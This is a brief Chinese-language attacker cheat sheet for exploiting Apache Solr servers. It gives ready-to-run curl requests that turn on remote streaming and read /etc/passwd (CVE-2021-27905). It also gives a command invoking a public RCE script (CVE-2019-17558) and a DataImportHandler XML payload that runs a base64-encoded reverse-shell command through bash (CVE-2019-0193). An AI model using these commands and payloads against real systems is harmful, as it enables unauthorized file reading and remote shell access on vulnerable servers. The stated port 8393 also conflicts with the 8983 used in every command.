SOLR相关漏洞
基于HTTP和Apache Lucene实现的全文搜索服务器。
历史漏洞:https://avd.aliyun.com/search?q=Solr
端口8393
Apache Solr 文件读取&SSRF (CVE-2021-27905)
全版本官方拒绝修复漏洞
获取数据库名 http://x.x.x.x:8983/solr/admin/cores?indexInfo=false&wt=json
访问 curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://x.x.x.x:8983/solr/collection1/config'
curl -i -s -k 'http://x.x.x.x:8983/solr/collection1/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
命令执行(CVE-2019-17558)
影响版本:Apache Solr 5.0.0版本至8.3.1
https://github.com/jas502n/solr_rce
python2 solr_rce.py http://x.x.x.x:8983 command
远程命令执行漏洞(CVE-2019-0193)
Apache Solr < 8.2.0版本
在dataimport中使用debug-mode插入payload之后执行。
<dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,BASE64编码后的反弹命令}|{base64,-d}|{bash,-i}"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig>